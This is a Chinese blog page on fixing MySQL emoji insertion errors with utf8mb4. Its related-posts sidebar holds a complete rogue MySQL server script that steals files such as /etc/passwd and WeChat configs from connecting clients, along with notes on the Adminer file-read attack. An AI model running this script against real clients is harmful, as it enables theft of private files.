mysql 插入数据时，出现"\xF0\x5F\x6F\x70"问题

最新推荐文章于 2025-01-16 23:15:00 发布
原创 最新推荐文章于 2025-01-16 23:15:00 发布 · 952 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文详细介绍了在测试环境中遇到的特殊表情符号插入数据库失败的异常情况，并提供了两种有效的解决方案：一是更改数据库表的编码格式为utf8mb4；二是调整服务器连接数据库的URL参数，避免使用characterEncoding=utf-8。

背景

下午在做测试的时候，测试环境突然报插入数据库 Incorrect string value: ‘\xF0\x9F\x98\x82\xF0\x9F…’ for column ‘question’ at row 1这种异常，经过多方查找是因为编码的问题。
一般设置为“utf-8”，这对于汉字来说足够了，在mysql中utf8占3个字节，但是对于移动端的特殊表情符号来说，三个字节是不够的，他需要四个字节。这个时候我们使用utf8就会出现‘\xF0\x9F\x8F\x80’的问题。

解决方法

1、需要改数据库表的编码格式，将至修改为utf8mb4. mysql版本5.5.3之前支持utf8三个字节，5.5.3之后支持utf8mb4四个字节。mysql -V 查看版本，如果版本过低，先升级。
2、服务器连接数据库的url中不要有characterEncoding=utf-8。例如：

url=jdbc:mysql://127.0.0.1:3306/xxx

Adminer≤4.6.2任意文件读取漏洞1
08-03
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\...
插入mysql报错：Incorrect string value: ‘\xF0\xAC\x8C\x97\xE5\x9E...‘
诺浅的专栏
06-04 960
这个错误通常发生在使用MySQL数据库时，尝试将包含四字节UTF-8字符（通常表示为Unicode码点大于U+FFFF的字符）插入到一个不支持这种字符的字符集列中。一般在插入睡眠emoji表情时容易遇到。
mysql 插入数据时，出现"\xF0\x9F\x8F\x80"这种情况的处理！
热门推荐
qingmulang的博客
07-15 2万+
问题Incorrect string value: ‘\xF0\x9F\x98\x82\xF0\x9F…’ for column ‘question’ at row 1我们知道设置数据库编码格式，表编码格式和字段编码格式的时候，一般设置为“utf-8”，这对于汉字来说足够了，在mysql中utf8占3个字节，但是对于移动端的特殊表情符号来说，三个字节是不够的，他需要四个字节。这个时候我们使用utf8
MySql表情emoji存储‘\xF0\x9F\x98\x82‘ for column ‘msg‘ at row 1 报错解决，亲测效果佳
arlene 的博客
08-11 901
MySql表情emoji存储'\xF0\x9F\x98\x82' for column 'msg' at row 1 报错解决，亲测效果佳！！
mysql 插入数据时，出现“\xF0\x9F\x8D\x80\xE5\xB0“这种情况的处理！
qq_34412985的博客
09-09 3596
问题 Incorrect string value: ‘\xF0\x9F\x8D\x80\xE5\xB0…’ for column ‘question’ at row 1 我们知道设置数据库编码格式，表编码格式和字段编码格式的时候，一般设置为“utf-8”，这对于汉字来说足够了，在mysql中utf8占3个字节，但是对于移动端的特殊表情符号来说，三个字节是不够的，他需要四个字节。这个时候我们使用utf8就会出现‘\xF0\x9F\x8F\x80’的问题。 解决方法 1. 可以对4字节的字符进行编码存储，然
MySQL5.7插入数据报错Incorrect string value: ‘\xF0\x9F\x8F\xA1\xE5\x9C...‘ for column
P_Doraemon的博客
07-09 4350
将数据库和表的编码设置为：utf8mb4，是utf8编码的超集，向下兼容utf8，并且能存储4字节的表情字符。按以下将表和数据库编码修改即可，可通过Navicat 或者SQLyog图形化工具修改然后再命令行执行以下，就可以了。报错信息指向正文解析后存储乱码，MySQL不接受，查询后，是由于数据库的编码为utf-8，只能保存三个字符，有可能三方接口中数据有有表情或者四个字节才能存储的汉字。
#!/usr/bin/env python #coding: utf8 import socket import asyncore import asynchat import struct import random import logging import logging.handlers PORT = 3306 log = logging.getLogger(__name__) log.setLevel(logging.INFO) tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab') tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s")) log.addHandler( tmp_format ) filelist = ( '/etc/passwd', 'C:\\Users\\Ghost\\Documents\\WeChat Files\\All Users\\config\\config.data', ) __author__ = 'Gifts' def daemonize(): import os, warnings if os.name != 'posix': warnings.warn('Cant create daemon on non-posix system') return if os.fork(): os._exit(0) os.setsid() if os.fork(): os._exit(0) os.umask(0o022) null=os.open('/dev/null', os.O_RDWR) for i in xrange(3): try: os.dup2(null, i) except OSError as e: if e.errno != 9: raise os.close(null) class LastPacket(Exception): pass class OutOfOrder(Exception): pass class mysql_packet(object): packet_header = struct.Struct('<Hbb') packet_header_long = struct.Struct('<Hbbb') def __init__(self, packet_type, payload): if isinstance(packet_type, mysql_packet): self.packet_num = packet_type.packet_num + 1 else: self.packet_num = packet_type self.payload = payload def __str__(self): payload_len = len(self.payload) if payload_len < 65536: header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num) else: header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num) result = "{0}{1}".format( header, self.payload ) return result def __repr__(self): return repr(str(self)) @staticmethod def parse(raw_data): packet_num = ord(raw_data[0]) payload = raw_data[1:] return mysql_packet(packet_num, payload) class http_request_handler(asynchat.async_chat): def __init__(self, addr): asynchat.async_chat.__init__(self, sock=addr[0]) self.addr = addr[1] self.ibuffer = [] self.set_terminator(3) self.state = 'LEN' self.sub_state = 'Auth' self.logined = False self.push( mysql_packet( 0, "".join(( '\x0a', # Protocol '5.6.28-0ubuntu0.14.04.1' + '\0', '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00', )) ) ) self.order = 1 self.states = ['LOGIN', 'CAPS', 'ANY'] def push(self, data): log.debug('Pushed: %r', data) data = str(data) asynchat.async_chat.push(self, data) def collect_incoming_data(self, data): log.debug('Data recved: %r', data) self.ibuffer.append(data) def found_terminator(self): data = "".join(self.ibuffer) self.ibuffer = [] if self.state == 'LEN': len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 if len_bytes < 65536: self.set_terminator(len_bytes) self.state = 'Data' else: self.state = 'MoreLength' elif self.state == 'MoreLength': if data[0] != '\0': self.push(None) self.close_when_done() else: self.state = 'Data' elif self.state == 'Data': packet = mysql_packet.parse(data) try: if self.order != packet.packet_num: raise OutOfOrder() else: # Fix ? self.order = packet.packet_num + 2 if packet.packet_num == 0: if packet.payload[0] == '\x03': log.info('Query') filename = random.choice(filelist) PACKET = mysql_packet( packet, '\xFB{0}'.format(filename) ) self.set_terminator(3) self.state = 'LEN' self.sub_state = 'File' self.push(PACKET) elif packet.payload[0] == '\x1b': log.info('SelectDB') self.push(mysql_packet( packet, '\xfe\x00\x00\x02\x00' )) raise LastPacket() elif packet.payload[0] in '\x02': self.push(mysql_packet( packet, '\0\0\0\x02\0\0\0' )) raise LastPacket() elif packet.payload == '\x00\x01': self.push(None) self.close_when_done() else: raise ValueError() else: if self.sub_state == 'File': log.info('-- result') log.info('Result: %r', data) if len(data) == 1: self.push( mysql_packet(packet, '\0\0\0\x02\0\0\0') ) raise LastPacket() else: self.set_terminator(3) self.state = 'LEN' self.order = packet.packet_num + 1 elif self.sub_state == 'Auth': self.push(mysql_packet( packet, '\0\0\0\x02\0\0\0' )) raise LastPacket() else: log.info('-- else') raise ValueError('Unknown packet') except LastPacket: log.info('Last packet') self.state = 'LEN' self.sub_state = None self.order = 0 self.set_terminator(3) except OutOfOrder: log.warning('Out of order') self.push(None) self.close_when_done() else: log.error('Unknown state') self.push('None') self.close_when_done() class mysql_listener(asyncore.dispatcher): def __init__(self, sock=None): asyncore.dispatcher.__init__(self, sock) if not sock: self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.set_reuse_addr() try: self.bind(('', PORT)) except socket.error: exit() self.listen(5) def handle_accept(self): pair = self.accept() if pair is not None: log.info('Conn from: %r', pair[1]) tmp = http_request_handler(pair) z = mysql_listener() # daemonize() asyncore.loop() 请对上面的python2.X代码精简优化成python3功能，请不要修改代码逻辑与实际功能，请给出完整代码
07-11
b'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\...
mysql协议包伪造_伪造mysql-server实现任意读取
weixin_35174422的博客
01-19 440
大概就类比于下面的对话：客户端：我想将/etc/passwd插入user表中服务端：那把/etc/passwd发给我客户端：巴拉巴拉我们所需要的做的就是搭建一个mysql服务端，然后完成上述过程，实现客户端的任意文件读取。LOAD DATA INFILE问题出在该语法上，该语法用于读取一个文件放入表中。两种用法如下：load data infile "/data/data.csv" into ta...
mysql-adminer任意文件读取
qq_51478862的博客
05-05 1569
利用条件 1.adminer（版本小于4.6.2）可以远程连接数据库，2.或者可以使靶机服务器主动连接自己的伪造的mysql服务器 原理 攻击者搭建一个伪造的mysql服务器，当有用户去连接上这个伪造的服务器时。攻击者就可以任意读取受害者的文件内容。，也就是A连接B的数据库，B可以伪造假的数据库服务读取A服务器上的文件。所以基于adminer连接的数据库可以反向利用连接自己的恶意服务器，从而达到读取任意文件的目的。 演示： 先下载好adminer，直接放在根路径即可：（攻击的服务器有adminerWeb
你给的代码出现了： --- Logging error --- Traceback (most recent call last): File "D:\Develop\Python\Python38\lib\logging\__init__.py", line 1088, in emit stream.write(msg + self.terminator) TypeError: a bytes-like object is required, not 'str' Call stack: File "1.py", line 218, in <module> server = mysql_listener() File "1.py", line 205, in __init__ log.info(f'Listening on port {PORT}') Message: 'Listening on port 3306' Arguments: () --- Logging error --- Traceback (most recent call last): File "D:\Develop\Python\Python38\lib\logging\__init__.py", line 1088, in emit stream.write(msg + self.terminator) TypeError: a bytes-like object is required, not 'str' Call stack: File "1.py", line 219, in <module> asyncore.loop() File "D:\Develop\Python\Python38\lib\asyncore.py", line 203, in loop poll_fun(timeout, map) File "D:\Develop\Python\Python38\lib\asyncore.py", line 150, in poll read(obj) File "D:\Develop\Python\Python38\lib\asyncore.py", line 83, in read obj.handle_read_event() File "D:\Develop\Python\Python38\lib\asyncore.py", line 414, in handle_read_event self.handle_accept() File "1.py", line 213, in handle_accept log.info('Connection from: %r', pair[1]) Message: 'Connection from: %r' Arguments: (('127.0.0.1', 54912),) 这个错误
最新发布
07-11
b'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\...
数据写入mysql报错 ‘\xF0\x9F\x92\xAB’ for column ‘realName’
weixin_42489619的博客
03-20 812
工作中遇到的问题，使用spark写入mysql报错：\xF0\x9F\x92\xAB，一般这种情况是由于插入mysql的字段含有生僻字、表情符号emoji等。ps: 我发现我的 mysql-connector-java-5.1.46.jar 是这个版本的，估计替换成。（1）确定该字段的编码格式是否为utf8mb4，如果不是就修改为utf8mb4，然后重新插入。实际情况mysql表和该字段的字符集是 utf8mb4，当时就emo了，不应该插入不进去啊。，并且将该字段的编码格式改为utf8mb4。
【原创】通俗易懂地解决中文乱码问题（2） --- 分析解决Mysql插入移动端表情符报错 ‘incorrect string value: '\xF0......
weixin_30337157的博客
12-20 206
这篇blog重点在解决问题，如果你对字符编码并不是特别了解，建议先看看 《 【原创】通俗易懂地解决中文乱码问题（1） --- 跨平台乱码 》。 当然，如果只是针对解决这个Mysql插入报错问题，本篇足够了。 一、定位错误 定位错误绝对是至关重要的一环。我建议遇到问题耐心分析一下比较好，毕竟“不是所有的牛奶都叫特仑苏”。 引起同一个问题的可能有很多，别人的解决方案也许并不适合自己...
'\xF0\x9F\x98\x82\xF0\x9F...'报错处理
qq_32851113的博客
06-14 2919
这种情况一般事入库数据格式不正确导致的建议修改数据库数据格式统一为utf8修改mysql的配置文件，windows下的为my.ini(linux下的为my.cnf)，修改的内容都一样[client] default-character-set = utf8mb4 [mysql] default-character-set = utf8mb4 [mysqld] character-set-ser...
Incorrect string value: ‘\xF0\x9F\x92\x95\’
javaTalk
11-28 3282
目录 问题描述 问题分析 ​问题解决 问题扩展 问题描述 工作过程中，突然收到短信和邮件 5xx 报警。通过 5xx HTTP 状态码排查 Nginx 日志、业务日志发现报如下错误： 问题分析 1初步看，应该是说更新 name 写入 utf8编码的 “\xF0\x9F\x92\x95” 失败了。 2 那utf8编码的字符串 “\xF0\x9F\x92\x95” 是什么呢？通过排查发现这个是字符串编码的是 emoji 符号，该 emoji 符号代表两颗心的意思。 上面的 e...
mysql插入数据出现\xF0\x9F\x92\x94‘ for column ‘name‘ at row 1的问题
weixin_43892471的博客
03-02 3508
出现原因 为什么会出现这个问题？这是因为在mysql中utf8的字符格式默认是3个字节为一个单位进行编码，而插入的数据是一个表情是4个字节为一个单位进行编码的。 解决过程 在改变mysql中数据库的编码为utf8mb4之后，接着改变表中的编码为utf8mb4。 插入一个表情发现还是报错。查看表中的字段，发现其编码还是utf8。 将其修改为utf8mb4，问题解决。 ...
解决 YOLOV5中SyntaxError: Non-ASCII character ‘\xf0‘ in file detect.py
马上毕业的小菜菜
04-11 5550
小白
mysql数据库插入emoji 表情报错Incorrect string value: ‘\xF0\x9F…’ for column ‘XXX’ at row 1
G佳伟
01-16 647
for column ‘XXX’ at row 1”，通常是因为数据库的字符集和排序规则（collation）不支持存储4字节的UTF-8编码字符（emoji表情通常使用这种编码）。MySQL的默认字符集utf8只支持3字节的字符，而不支持4字节的字符。为了解决这个问题，你需要将数据库、表或列的字符集改为utf8mb4，它支持4字节的UTF-8编码。在这里，VARCHAR(255)应替换为列原本的数据类型和长度。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

境里婆娑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值